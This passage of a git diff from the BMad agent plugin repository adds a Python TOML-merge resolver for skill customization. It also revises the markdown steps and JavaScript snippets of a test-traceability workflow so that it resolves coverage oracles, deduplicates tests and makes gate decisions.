+    """Return parsed TOML or empty dict if the file doesn't exist."""
+    if not path.is_file():
+        return {}
+    try:
+        with open(path, "rb") as f:
+            return tomllib.load(f)
+    except (tomllib.TOMLDecodeError, OSError) as exc:
+        print(f"warning: failed to parse {path}: {exc}", file=sys.stderr)
+        return {}
+
+
+# ---------------------------------------------------------------------------
+# Merge helpers
+# ---------------------------------------------------------------------------
+
+def _is_menu_array(value: Any) -> bool:
+    """True when *value* is a non-empty list where ALL items are dicts with a ``code`` key."""
+    return (
+        isinstance(value, list)
+        and len(value) > 0
+        and all(isinstance(item, dict) and "code" in item for item in value)
+    )
+
+
+def merge_menu(base: list[dict], override: list[dict]) -> list[dict]:
+    """Merge-by-code: matching codes replace; new codes append."""
+    result_by_code: dict[str, dict] = {item["code"]: dict(item) for item in base if "code" in item}
+    for item in override:
+        if "code" not in item:
+            print(f"warning: menu item missing 'code' key, skipping: {item}", file=sys.stderr)
+            continue
+        result_by_code[item["code"]] = dict(item)
+    return list(result_by_code.values())
+
+
+def deep_merge(base: dict[str, Any], override: dict[str, Any]) -> dict[str, Any]:
+    """Recursively merge *override* into *base*.
+
+    Rules:
+      - Tables (dicts): sparse override -- recurse, unmentioned keys kept.
+      - ``[[menu]]`` arrays (items with ``code`` key): merge-by-code.
+      - All other arrays: atomic replace.
+      - Scalars: override wins.
+    """
+    merged = dict(base)
+    for key, over_val in override.items():
+        base_val = merged.get(key)
+
+        if isinstance(over_val, dict) and isinstance(base_val, dict):
+            merged[key] = deep_merge(base_val, over_val)
+        elif _is_menu_array(over_val) and _is_menu_array(base_val):
+            merged[key] = merge_menu(base_val, over_val)  # type: ignore[arg-type]
+        else:
+            merged[key] = over_val
+
+    return merged
+
+
+# ---------------------------------------------------------------------------
+# Key extraction
+# ---------------------------------------------------------------------------
+
+def extract_key(data: dict[str, Any], dotted_key: str) -> Any:
+    """Retrieve a value by dotted path (e.g. ``persona.displayName``)."""
+    parts = dotted_key.split(".")
+    current: Any = data
+    for part in parts:
+        if isinstance(current, dict) and part in current:
+            current = current[part]
+        else:
+            return None
+    return current
+
+
+# ---------------------------------------------------------------------------
+# Main
+# ---------------------------------------------------------------------------
+
+def main() -> None:
+    parser = argparse.ArgumentParser(
+        description="Resolve BMad skill customization (three-layer TOML merge).",
+        epilog=(
+            "Resolution priority: user.toml > team.toml > skill defaults.\n"
+            "Output is JSON. Use --key to request specific fields (JIT resolution)."
+        ),
+    )
+    parser.add_argument(
+        "skill_name",
+        help="Skill identifier (e.g. bmad-agent-pm, bmad-product-brief)",
+    )
+    parser.add_argument(
+        "--key",
+        action="append",
+        dest="keys",
+        metavar="FIELD",
+        help="Dotted field path to resolve (repeatable). Omit for full dump.",
+    )
+    args = parser.parse_args()
+
+    # Locate the skill's own customize.toml (one level up from scripts/)
+    script_dir = Path(__file__).resolve().parent
+    skill_dir = script_dir.parent
+    defaults_path = skill_dir / "customize.toml"
+
+    # Locate project root for override files
+    project_root = find_project_root(Path.cwd())
+    if project_root is None:
+        # Try from the skill directory as fallback
+        project_root = find_project_root(skill_dir)
+
+    # Load three layers (lowest priority first, then merge upward)
+    defaults = load_toml(defaults_path)
+
+    team: dict[str, Any] = {}
+    user: dict[str, Any] = {}
+    if project_root is not None:
+        customizations_dir = project_root / "_bmad" / "customizations"
+        team = load_toml(customizations_dir / f"{args.skill_name}.toml")
+        user = load_toml(customizations_dir / f"{args.skill_name}.user.toml")
+
+    # Merge: defaults <- team <- user
+    merged = deep_merge(defaults, team)
+    merged = deep_merge(merged, user)
+
+    # Output
+    if args.keys:
+        result = {}
+        for key in args.keys:
+            value = extract_key(merged, key)
+            if value is not None:
+                result[key] = value
+        json.dump(result, sys.stdout, indent=2, ensure_ascii=False)
+    else:
+        json.dump(merged, sys.stdout, indent=2, ensure_ascii=False)
+
+    # Ensure trailing newline for clean terminal output
+    print()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01-load-context.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01-load-context.md
index a8eb9a1..b176b01 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01-load-context.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01-load-context.md
@@ -1,16 +1,16 @@
 ---
 name: 'step-01-load-context'
-description: 'Load requirements, knowledge base, and related artifacts'
+description: 'Resolve coverage oracle, load knowledge base, and gather related artifacts'
 nextStepFile: './step-02-discover-tests.md'
-knowledgeIndex: '${CLAUDE_PLUGIN_ROOT}/_shared/tea-index.csv'
-outputFile: '{test_artifacts}/traceability-report.md'
+knowledgeIndex: './resources/tea-index.csv'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 ---
 
-# Step 1: Load Context & Knowledge Base
+# Step 1: Resolve Coverage Oracle & Load Knowledge Base
 
 ## STEP GOAL
 
-Gather acceptance criteria, priorities, and supporting artifacts for traceability.
+Resolve the best available coverage oracle, capture confidence and provenance, and gather supporting artifacts for traceability.
 
 ## MANDATORY EXECUTION RULES
 
@@ -27,7 +27,7 @@ Gather acceptance criteria, priorities, and supporting artifacts for traceabilit
 
 ## CONTEXT BOUNDARIES:
 
-- Available context: config, loaded artifacts, and knowledge fragments
+- Available context: config, source tree, loaded artifacts, and knowledge fragments
 - Focus: this step's goal only
 - Limits: do not execute future steps
 - Dependencies: prior steps' outputs (if any)
@@ -36,12 +36,60 @@ Gather acceptance criteria, priorities, and supporting artifacts for traceabilit
 
 **CRITICAL:** Follow this sequence exactly. Do not skip, reorder, or improvise.
 
-## 1. Prerequisites
-
-- Acceptance criteria available (story or provided inline)
-- Tests exist OR gaps explicitly acknowledged
-
-If acceptance criteria are missing, **HALT** and request them.
+## 1. Resolve Coverage Oracle
+
+At least one of the following must be usable:
+
+- Formal requirements (story/epic acceptance criteria, PRD, test design)
+- Contract/spec artifacts (OpenAPI, GraphQL schema, protobuf, etc.)
+- External pointers to a requirements source that can be resolved through installed adapters/MCPs
+- Analyzable source code that supports synthetic journey/requirement inference
+
+Tests exist OR gaps are explicitly acknowledged.
+
+Resolve the oracle in this order:
+
+1. **Formal requirements first**
+   - Story/epic acceptance criteria
+   - PRD / test design / tech spec
+   - Inline requirements provided by the user
+
+2. **Contract/spec artifacts second**
+   - OpenAPI / Swagger
+   - GraphQL schema or SDL
+   - Other machine-readable contract definitions
+
+3. **External pointers third**
+   - Placeholder files that point to external trackers or docs such as Jira, Linear, Confluence, shared docs, or other systems of record
+   - Follow the pointer automatically only when a compatible adapter/plugin/MCP is available in the active runtime
+   - Record `externalPointerStatus` as one of: `not_used`, `resolved`, `skipped`, or `unavailable`
+
+4. **Synthetic oracle last**
+   - If no formal oracle exists and `allow_synthetic_oracle` is enabled, inspect `{source_dir}` to infer a provisional trace target
+   - For UI apps, infer journeys from:
+     - routes/pages/screens/layout entry points
+     - navigation flows and feature entry links
+     - forms, submit actions, create/update/delete paths
+     - auth/session/logout/role-gated flows
+     - loading, empty, validation, error, and permission-denied states
+     - feature flags and major conditional branches
+   - Deduplicate the inferred items into a compact, traceable list (prefer 5-12 items)
+   - Assign stable IDs such as `J-01`, `J-02`, etc.
+   - Assign provisional priorities using `test-priorities-matrix.md`
+     - `P0`: auth, checkout/payment, destructive data changes, revenue-critical, hard blockers to core use
+     - `P1`: primary user journeys and common CRUD paths
+     - `P2`: secondary workflows and edge scenarios
+     - `P3`: low-risk polish or optional flows
+
+Record the resolved oracle metadata in step output/frontmatter using consistent keys:
+
+- `coverageBasis` (`acceptance_criteria` | `synthetic_requirements` | `openapi_endpoints` | `user_journeys`) — the type of oracle selected for coverage tracing
+- `oracleResolutionMode` (`formal_requirements` | `spec_artifact` | `external_pointer` | `synthetic_source`) — how the oracle was discovered/resolved
+- `oracleConfidence` (`high` | `medium` | `low`) — confidence in the resolved oracle as a coverage source
+- `oracleSources` — list of artifact paths, URIs, or references used to resolve the oracle
+- `externalPointerStatus` (`not_used` | `resolved` | `skipped` | `unavailable`) — status of external pointer resolution when pointer files are present
+
+If none of the four oracle types can be resolved, **HALT** and request the smallest missing clarification needed to continue.
 
 ---
 
@@ -64,8 +112,11 @@ If available:
 - Story file and acceptance criteria
 - Test design doc (priorities)
 - Tech spec / PRD
+- OpenAPI or similar contract/spec files
+- Placeholder files that reference external requirements systems
+- Route maps, page/screen registries, and other source files used for synthetic journey inference
 
-Summarize what was found.
+Summarize what was found and explicitly state the resolved oracle, its confidence, and why that oracle was selected.
 
 ---
 
@@ -80,6 +131,11 @@ Summarize what was found.
   stepsCompleted: ['step-01-load-context']
   lastStep: 'step-01-load-context'
   lastSaved: '{date}'
+  coverageBasis: '{resolved coverage_basis}'
+  oracleConfidence: '{resolved oracle_confidence}'
+  oracleResolutionMode: '{resolved oracle_resolution_mode}'
+  oracleSources: ['{resolved oracle source 1}', '{resolved oracle source 2}']
+  externalPointerStatus: '{resolved external_pointer_status}'
   ---
   ```
 
@@ -89,6 +145,11 @@ Summarize what was found.
   - Add `'step-01-load-context'` to `stepsCompleted` array (only if not already present)
   - Set `lastStep: 'step-01-load-context'`
   - Set `lastSaved: '{date}'`
+  - Set `coverageBasis` to the resolved oracle basis
+  - Set `oracleConfidence` to the resolved oracle confidence
+  - Set `oracleResolutionMode` to the resolved oracle resolution mode
+  - Set `oracleSources` to the resolved oracle sources
+  - Set `externalPointerStatus` to the resolved external pointer status
   - Append this step's output to the appropriate section of the document.
 
 Load next step: `{nextStepFile}`
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01b-resume.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01b-resume.md
index 62df15b..44a178c 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01b-resume.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-01b-resume.md
@@ -1,7 +1,7 @@
 ---
 name: 'step-01b-resume'
 description: 'Resume interrupted workflow from last completed step'
-outputFile: '{test_artifacts}/traceability-report.md'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 ---
 
 # Step 1b: Resume Workflow
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-02-discover-tests.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-02-discover-tests.md
index 8a04933..ed1f663 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-02-discover-tests.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-02-discover-tests.md
@@ -2,14 +2,14 @@
 name: 'step-02-discover-tests'
 description: 'Discover and catalog tests by level'
 nextStepFile: './step-03-map-criteria.md'
-outputFile: '{test_artifacts}/traceability-report.md'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 ---
 
 # Step 2: Discover & Catalog Tests
 
 ## STEP GOAL
 
-Identify tests relevant to the requirements and classify by test level.
+Identify tests relevant to the resolved coverage oracle and classify by test level.
 
 ## MANDATORY EXECUTION RULES
 
@@ -41,8 +41,17 @@ Search `{test_dir}` for:
 
 - Test IDs (e.g., `1.3-E2E-001`)
 - Feature name matches
+- Resolved oracle item IDs/titles
 - Spec patterns (`*.spec.*`, `*.test.*`)
 
+When the oracle is synthetic (`synthetic_requirements` or `user_journeys`), also search for:
+
+- route/path matches
+- page/screen/component names
+- visible UI labels and CTA names
+- form action verbs (create, edit, save, delete, submit, search, checkout, etc.)
+- auth/session/logout flows
+
 ---
 
 ## 2. Categorize by Level
@@ -54,7 +63,11 @@ Classify as:
 - Component
 - Unit
 
-Record test IDs, describe blocks, and priority markers if present.
+Record test IDs, describe blocks, priority markers, and the per-test identity fields needed for machine-readable output:
+
+- Stable identity fields: `id`, `title`, `file`, `line`, `level`
+- Execution state flags: `skipped`, `pending`, `fixme`
+- Skip or blocker reason when it can be discovered from the test source or runtime metadata
 
 ---
 
@@ -72,6 +85,13 @@ Capture explicit coverage signals so Phase 1 can detect common blind spots:
   - Detect validation, timeout, network-failure, and server-error scenarios
   - Mark criteria with happy-path-only tests
 
+- UI journey coverage (when tracing UI/source-derived oracle items)
+  - Inventory routes/screens/journeys referenced by the oracle and journeys exercised by E2E/component tests
+  - Mark journeys with no end-to-end coverage
+- UI state coverage
+  - Detect loading, empty, validation, error, and permission-denied state assertions
+  - Mark journeys that only verify happy-path rendering
+
 Record these findings in step output as `coverage_heuristics` for Step 3/4.
 
 ---
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-03-map-criteria.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-03-map-criteria.md
index eadc421..c25d1da 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-03-map-criteria.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-03-map-criteria.md
@@ -1,15 +1,15 @@
 ---
 name: 'step-03-map-criteria'
-description: 'Map acceptance criteria to tests and build traceability matrix'
+description: 'Map coverage oracle items to tests and build traceability matrix'
 nextStepFile: './step-04-analyze-gaps.md'
-outputFile: '{test_artifacts}/traceability-report.md'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 ---
 
-# Step 3: Map Criteria to Tests
+# Step 3: Map Coverage Oracle to Tests
 
 ## STEP GOAL
 
-Create the traceability matrix linking requirements to tests.
+Create the traceability matrix linking the resolved oracle items to tests.
 
 ## MANDATORY EXECUTION RULES
 
@@ -37,15 +37,18 @@ Create the traceability matrix linking requirements to tests.
 
 ## 1. Build Matrix
 
-For each acceptance criterion:
+For each resolved oracle item (formal requirement, endpoint/spec item, or synthetic journey):
 
 - Map to matching tests
 - Mark coverage status: FULL / PARTIAL / NONE / UNIT-ONLY / INTEGRATION-ONLY
 - Record test level and priority
+- Preserve each mapped test's stable identity fields (`id`, `title`, `file`, `line`, `level`, status flags) so Phase 1 can deduplicate unique tests before JSON export
 - Record heuristic signals:
-  - Endpoint coverage present/missing (for API-impacting criteria)
+  - Endpoint coverage present/missing (for API-impacting items)
   - Auth/authz coverage present/missing (positive and negative paths)
   - Error-path coverage present/missing (validation, timeout, network/server failures)
+  - UI journey E2E coverage present/missing (for source-derived journeys)
+  - UI state coverage present/missing (loading, empty, validation, error, permission-denied)
 
 ---
 
@@ -53,11 +56,12 @@ For each acceptance criterion:
 
 Ensure:
 
-- P0/P1 criteria have coverage
+- P0/P1 items have coverage
 - No duplicate coverage across levels without justification
-- Criteria are not happy-path-only when requirements imply error handling
-- API criteria are not marked FULL if endpoint-level checks are missing
-- Auth/authz criteria include at least one denied/invalid-path test where applicable
+- Items are not happy-path-only when the oracle implies error handling or alternate states
+- API items are not marked FULL if endpoint-level checks are missing
+- Auth/authz items include at least one denied/invalid-path test where applicable
+- Synthetic UI journeys are not marked FULL when no E2E or component test asserts the critical path and key failure states
 
 ---
 
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-04-analyze-gaps.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-04-analyze-gaps.md
index c484ec1..5ee8d11 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-04-analyze-gaps.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-04-analyze-gaps.md
@@ -2,7 +2,7 @@
 name: 'step-04-analyze-gaps'
 description: 'Complete Phase 1 with adaptive orchestration (agent-team, subagent, or sequential)'
 nextStepFile: './step-05-gate-decision.md'
-outputFile: '{test_artifacts}/traceability-report.md'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 tempOutputFile: '/tmp/tea-trace-coverage-matrix-{{timestamp}}.json'
 ---
 
@@ -33,7 +33,7 @@ tempOutputFile: '/tmp/tea-trace-coverage-matrix-{{timestamp}}.json'
 
 ## CONTEXT BOUNDARIES:
 
-- Available context: requirements from Step 1, tests from Step 2, traceability matrix from Step 3
+- Available context: resolved oracle items from Step 1, tests from Step 2, traceability matrix from Step 3
 - Focus: gap analysis and matrix completion
 - Limits: do not make gate decision (Phase 2 responsibility)
 
@@ -145,11 +145,15 @@ Use the heuristics inventory from Step 2 and mapped criteria from Step 3 to flag
 const endpointCoverageGaps = coverageHeuristics?.endpoints_without_tests || [];
 const authCoverageGaps = coverageHeuristics?.auth_missing_negative_paths || [];
 const errorPathGaps = coverageHeuristics?.criteria_happy_path_only || [];
+const uiJourneyGaps = coverageHeuristics?.ui_journeys_without_e2e || [];
+const uiStateGaps = coverageHeuristics?.ui_states_missing_coverage || [];
 
 const heuristicGapCounts = {
   endpoints_without_tests: endpointCoverageGaps.length,
   auth_missing_negative_paths: authCoverageGaps.length,
   happy_path_only_criteria: errorPathGaps.length,
+  ui_journeys_without_e2e: uiJourneyGaps.length,
+  ui_states_missing_coverage: uiStateGaps.length,
 };
 ```
 
@@ -162,6 +166,48 @@ Heuristics are advisory but must influence gap severity and recommendations, esp
 **Based on gap analysis:**
 
 ```javascript
+const progressDoc = fs.existsSync('{outputFile}') ? fs.readFileSync('{outputFile}', 'utf8') : '';
+const progressFrontmatterMatch = progressDoc.match(/^---\n([\s\S]*?)\n---/);
+const progressFrontmatter = progressFrontmatterMatch ? yaml.parse(progressFrontmatterMatch[1]) : {};
+
+const isUnresolved = (value) => typeof value === 'string' && value.startsWith('{') && value.endsWith('}');
+const normalizeResolvedToken = (value) => {
+  if (value === undefined || value === null) return null;
+  const normalized = String(value).trim().toLowerCase();
+  if (!normalized || normalized === 'auto' || isUnresolved(normalized)) return null;
+  return normalized;
+};
+const firstResolvedToken = (...values) => {
+  for (const value of values) {
+    const normalized = normalizeResolvedToken(value);
+    if (normalized) return normalized;
+  }
+  return null;
+};
+
+const oracleResolutionMode =
+  firstResolvedToken(runtime.getOracleResolutionMode?.(), progressFrontmatter.oracleResolutionMode) || 'formal_requirements';
+const resolvedCoverageBasis =
+  firstResolvedToken(runtime.getResolvedCoverageBasis?.(), progressFrontmatter.coverageBasis) ||
+  {
+    formal_requirements: 'acceptance_criteria',
+    spec_artifact: 'openapi_endpoints',
+    external_pointer: 'acceptance_criteria',
+    synthetic_source: 'user_journeys',
+  }[oracleResolutionMode] ||
+  'acceptance_criteria';
+const resolvedOracleConfidence =
+  firstResolvedToken(runtime.getResolvedOracleConfidence?.(), progressFrontmatter.oracleConfidence) ||
+  {
+    formal_requirements: 'high',
+    spec_artifact: 'high',
+    external_pointer: 'medium',
+    synthetic_source: 'medium',
+  }[oracleResolutionMode] ||
+  'medium';
+const oracleSources = runtime.getOracleSources?.() || progressFrontmatter.oracleSources || [];
+const externalPointerStatus =
+  firstResolvedToken(runtime.getExternalPointerStatus?.(), progressFrontmatter.externalPointerStatus) || 'not_used';
 const recommendations = [];
 
 // Critical gaps (P0)
@@ -215,12 +261,36 @@ if (errorPathGaps.length > 0) {
   });
 }
 
+if (uiJourneyGaps.length > 0) {
+  recommendations.push({
+    priority: 'HIGH',
+    action: `Add E2E or component coverage for ${uiJourneyGaps.length} inferred UI journey(s)`,
+    requirements: uiJourneyGaps.map((r) => r.id || r.route || r.journey || 'unknown'),
+  });
+}
+
+if (uiStateGaps.length > 0) {
+  recommendations.push({
+    priority: 'MEDIUM',
+    action: `Add loading/empty/error/permission state coverage for ${uiStateGaps.length} UI journey(s)`,
+    requirements: uiStateGaps.map((r) => r.id || r.route || r.journey || 'unknown'),
+  });
+}
+
 // Quality issues
 recommendations.push({
   priority: 'LOW',
   action: 'Run /bmad:tea:test-review to assess test quality',
   requirements: [],
 });
+
+if (oracleResolutionMode === 'synthetic_source') {
+  recommendations.push({
+    priority: 'MEDIUM',
+    action: 'Promote inferred journeys into formal acceptance criteria when the team confirms they reflect intended behavior',
+    requirements: traceabilityMatrix.map((r) => r.id),
+  });
+}
 ```
 
 ---
@@ -253,6 +323,117 @@ const p3CoveragePercentage = safePct(p3Covered, p3Total);
 
 ---
 
+### 4b. Build Deduplicated Test Inventory and Trace Metadata
+
+Persist the unique discovered tests in Phase 1 so Step 5 does not need to reconstruct counts from per-requirement mappings.
+
+```javascript
+const coverageEligibleStatuses = new Set(['FULL', 'PARTIAL', 'UNIT-ONLY', 'INTEGRATION-ONLY']);
+const byLevel = {
+  e2e: { tests: 0, criteria_covered: 0 },
+  api: { tests: 0, criteria_covered: 0 },
+  component: { tests: 0, criteria_covered: 0 },
+  unit: { tests: 0, criteria_covered: 0 },
+  other: { tests: 0, criteria_covered: 0 }, // captures tests with unrecognized or empty level
+};
+
+const normalizeTestStatus = (test) => {
+  const explicitStatus = String(test.status || '')
+    .trim()
+    .toLowerCase();
+  if (['skipped', 'pending', 'fixme'].includes(explicitStatus)) return explicitStatus;
+  if (test.fixme === true) return 'fixme';
+  if (test.pending === true) return 'pending';
+  if (test.skipped === true) return 'skipped';
+  return 'active';
+};
+
+const uniqueTests = new Map();
+(traceabilityMatrix || []).forEach((req) => {
+  (req.tests || []).forEach((test, index) => {
+    // Do NOT use the per-requirement `index` as a fallback — the same test can appear
+    // at different indices across requirements, producing spurious duplicate entries.
+    // Use only stable, test-intrinsic fields; omit line when unavailable.
+    const stableId =
+      test.id ||
+      [test.file, test.title || test.name, test.line].filter((value) => value !== undefined && value !== null && value !== '').join(':') ||
+      null; // unresolvable — skip rather than manufacture a key
+
+    if (stableId === null || uniqueTests.has(stableId)) return;
+    const status = normalizeTestStatus(test);
+    uniqueTests.set(stableId, {
+      id: stableId,
+      file: test.file || '',
+      line: test.line ?? null,
+      title: test.title || test.name || stableId,
+      level: String(test.level || '')
+        .trim()
+        .toLowerCase(),
+      status: status,
+      skipped: status === 'skipped',
+      fixme: status === 'fixme',
+      pending: status === 'pending',
+      blocker_reason: test.skip_reason || test.blocker_reason || test.fixme_reason || test.pending_reason || '',
+    });
+  });
+});
+
+[...uniqueTests.values()].forEach((test) => {
+  const bucket = byLevel[test.level] ? test.level : 'other';
+  if (bucket === 'other' && test.level) {
+    console.warn(`[trace] unknown test level "${test.level}" for test "${test.id}" — counted in "other"`);
+  }
+  byLevel[bucket].tests += 1;
+});
+
+(traceabilityMatrix || []).forEach((req) => {
+  if (!coverageEligibleStatuses.has(req.coverage)) return;
+  const requirementLevels = new Set(
+    (req.tests || []).map((test) => {
+      const level = String(test.level || '')
+        .trim()
+        .toLowerCase();
+      return byLevel[level] ? level : 'other';
+    }),
+  );
+  requirementLevels.forEach((level) => {
+    byLevel[level].criteria_covered += 1;
+  });
+});
+
+const deduplicatedTests = [...uniqueTests.values()];
+const deduplicatedTestInventory = {
+  summary: {
+    files: [...new Set(deduplicatedTests.map((test) => test.file).filter(Boolean))].length,
+    cases: deduplicatedTests.length,
+    skipped_cases: deduplicatedTests.filter((test) => test.skipped).length,
+    fixme_cases: deduplicatedTests.filter((test) => test.fixme).length,
+    pending_cases: deduplicatedTests.filter((test) => test.pending).length,
+    by_level: byLevel,
+  },
+  tests: deduplicatedTests,
+  blockers: deduplicatedTests
+    .filter((test) => ['skipped', 'pending', 'fixme'].includes(test.status))
+    .map((test) => ({
+      id: test.id,
+      severity: test.status === 'skipped' ? 'high' : 'medium',
+      reason: test.blocker_reason || `Test marked ${test.status} during trace collection`,
+      test_file: test.file,
+      test_title: test.title,
+    })),
+};
+
+const extractedTargetId = runtime.getTraceTargetId?.() || null;
+const extractedTargetLabel = runtime.getTraceTargetLabel?.() || null;
+const traceTarget = {
+  type: '{gate_type}',
+  id: extractedTargetId, // story_id / epic_num / release_version / hotfix identifier from Step 1
+  label: extractedTargetLabel || null,
+};
+```
+
+---
+
 ### 5. Generate Complete Coverage Matrix
 
 **Compile all Phase 1 outputs:**
@@ -261,6 +442,18 @@ const p3CoveragePercentage = safePct(p3Covered, p3Total);
 const coverageMatrix = {
   phase: 'PHASE_1_COMPLETE',
   generated_at: new Date().toISOString(),
+  trace_target: traceTarget,
+  collection_mode: '{collection_mode}',
+  allow_gate: '{allow_gate}',
+  coverage_basis: resolvedCoverageBasis,
+  summary_confidence: resolvedOracleConfidence,
+  oracle: {
+    resolution_mode: oracleResolutionMode,
+    confidence: resolvedOracleConfidence,
+    sources: oracleSources,
+    external_pointer_status: externalPointerStatus,
+    synthetic: oracleResolutionMode === 'synthetic_source',
+  },
 
   requirements: traceabilityMatrix, // Full matrix from Step 3
 
@@ -292,9 +485,13 @@ const coverageMatrix = {
     endpoint_gaps: endpointCoverageGaps,
     auth_negative_path_gaps: authCoverageGaps,
     happy_path_only_gaps: errorPathGaps,
+    ui_journey_gaps: uiJourneyGaps,
+    ui_state_gaps: uiStateGaps,
     counts: heuristicGapCounts,
   },
 
+  test_inventory: deduplicatedTestInventory,
+  blockers: deduplicatedTestInventory.blockers,
   recommendations: recommendations,
 };
 ```
@@ -312,6 +509,16 @@ fs.writeFileSync(outputPath, JSON.stringify(coverageMatrix, null, 2), 'utf8');
 console.log(`✅ Phase 1 Complete: Coverage matrix saved to ${outputPath}`);
 ```
 
+**Record the resolved path in the progress document** so Step 5 can read the exact same file rather than re-evaluating the timestamp expression:
+
+After writing the temp file, update the YAML frontmatter in `{outputFile}` to include:
+
+```yaml
+tempCoverageMatrixPath: '<resolved outputPath>'
+```
+
+Step 5 reads `tempCoverageMatrixPath` from the frontmatter first; falls back to reconstructing `{tempOutputFile}` only when the key is absent.
+
 ---
 
 ### 7. Display Phase 1 Summary
diff --git a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-05-gate-decision.md b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-05-gate-decision.md
index 1e7e3da..3269da6 100644
--- a/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-05-gate-decision.md
+++ b/plugins/bmad/skills/bmad-testarch-trace/steps-c/step-05-gate-decision.md
@@ -1,14 +1,14 @@
 ---
 name: 'step-05-gate-decision'
 description: 'Phase 2: Apply gate decision logic and generate outputs'
-outputFile: '{test_artifacts}/traceability-report.md'
+outputFile: '{test_artifacts}/traceability-matrix.md'
 ---
 
 # Step 5: Phase 2 - Gate Decision
 
 ## STEP GOAL
 
-**Phase 2:** Read coverage matrix from Phase 1, apply deterministic gate decision logic, and generate traceability report.
+**Phase 2:** Read coverage matrix from Phase 1, apply deterministic gate decision logic when gate-eligible, and generate the traceability report plus machine-readable outputs.
 
 ---
 
@@ -17,7 +17,7 @@ outputFile: '{test_artifacts}/traceability-report.md'
 - 📖 Read the entire step file before acting
 - ✅ Speak in `{communication_language}`
 - ✅ Read coverage matrix from Phase 1 temp file
-- ✅ Apply gate decision logic
+- ✅ Resolve collection status and gate eligibility before applying gate decision logic
 - ❌ Do NOT regenerate coverage matrix (use Phase 1 output)
 
 ---
@@ -40,8 +40,20 @@ outputFile: '{test_artifacts}/traceability-report.md'
 
 ### 1. Read Phase 1 Coverage Matrix
 
+Read `{outputFile}` frontmatter for `tempCoverageMatrixPath`. Halt when missing — the fallback timestamp cannot be reconstructed reliably in a different execution context:
+
 ```javascript
-const matrixPath = '/tmp/tea-trace-coverage-matrix-{{timestamp}}.json';
+const progressDoc = fs.readFileSync('{outputFile}', 'utf8');
+const frontmatterMatch = progressDoc.match(/^---\n([\s\S]*?)\n---/);
+const frontmatter = frontmatterMatch ? yaml.parse(frontmatterMatch[1]) : {};
+
+const matrixPath = frontmatter.tempCoverageMatrixPath;
+if (!matrixPath) {
+  throw new Error(
+    '❌ tempCoverageMatrixPath not found in progress frontmatter. ' +
+      'Step 4 must record the resolved temp file path before Step 5 can proceed.',
+  );
+}
 const coverageMatrix = JSON.parse(fs.readFileSync(matrixPath, 'utf8'));
 
 console.log('✅ Phase 1 coverage matrix loaded');
@@ -63,53 +75,184 @@ if (coverageMatrix.phase !== 'PHASE_1_COMPLETE') {
 
 ```javascript
 const stats = coverageMatrix.coverage_statistics;
-const p0Coverage = stats.priority_breakdown.P0.percentage;
-const p1Coverage = stats.priority_breakdown.P1.percentage;
-const hasP1Requirements = (stats.priority_breakdown.P1.total || 0) > 0;
+if (
+  !stats ||
+  typeof stats !== 'object' ||
+  !stats.priority_breakdown ||
+  !stats.priority_breakdown.P0 ||
+  !stats.priority_breakdown.P1 ||
+  !stats.priority_breakdown.P2 ||
+  !stats.priority_breakdown.P3
+) {
+  throw new Error(
+    'Phase 1 coverage_statistics.priority_breakdown is missing or incomplete. ' +
+      'Step 4 must emit P0-P3 totals and coverage percentages before Step 5 can proceed.',
+  );
+}
+const priorityBreakdown = stats.priority_breakdown;
+const p0Coverage = priorityBreakdown.P0.percentage;
+const p1Coverage = priorityBreakdown.P1.percentage;
+const hasP1Requirements = (priorityBreakdown.P1.total || 0) > 0;
 const effectiveP1Coverage = hasP1Requirements ? p1Coverage : 100;
 const overallCoverage = stats.overall_coverage_percentage;
-const criticalGaps = coverageMatrix.gap_analysis.critical_gaps.length;
+const criticalGaps = (coverageMatrix.gap_analysis?.critical_gaps || []).length;
+const isUnresolved = (value) => typeof value === 'string' && value.startsWith('{') && value.endsWith('}');
+const normalizeResolvedToken = (value) => {
+  if (value === undefined || value === null) return null;
+  const normalized = String(value).trim().toLowerCase();
+  if (!normalized || normalized === 'auto' || isUnresolved(normalized)) return null;
+  return normalized;
+};
+const oracleResolutionMode = normalizeResolvedToken(coverageMatrix.oracle?.resolution_mode) || 'formal_requirements';
+const coverageBasis =
+  normalizeResolvedToken(coverageMatrix.coverage_basis) ||
+  {
+    formal_requirements: 'acceptance_criteria',
+    spec_artifact: 'openapi_endpoints',
+    external_pointer: 'acceptance_criteria',
+    synthetic_source: 'user_journeys',
+  }[oracleResolutionMode] ||
+  'acceptance_criteria';
+const oracleConfidence =
+  normalizeResolvedToken(coverageMatrix.oracle?.confidence || coverageMatrix.summary_confidence) ||
+  {
+    formal_requirements: 'high',
+    spec_artifact: 'high',
+    external_pointer: 'medium',
+    synthetic_source: 'medium',
+  }[oracleResolutionMode] ||
+  'medium';
+const syntheticOracle = coverageMatrix.oracle?.synthetic === true || ['synthetic_requirements', 'user_journeys'].includes(coverageBasis);
+const deriveActiveTestCasesFromRequirements = (requirements) => {
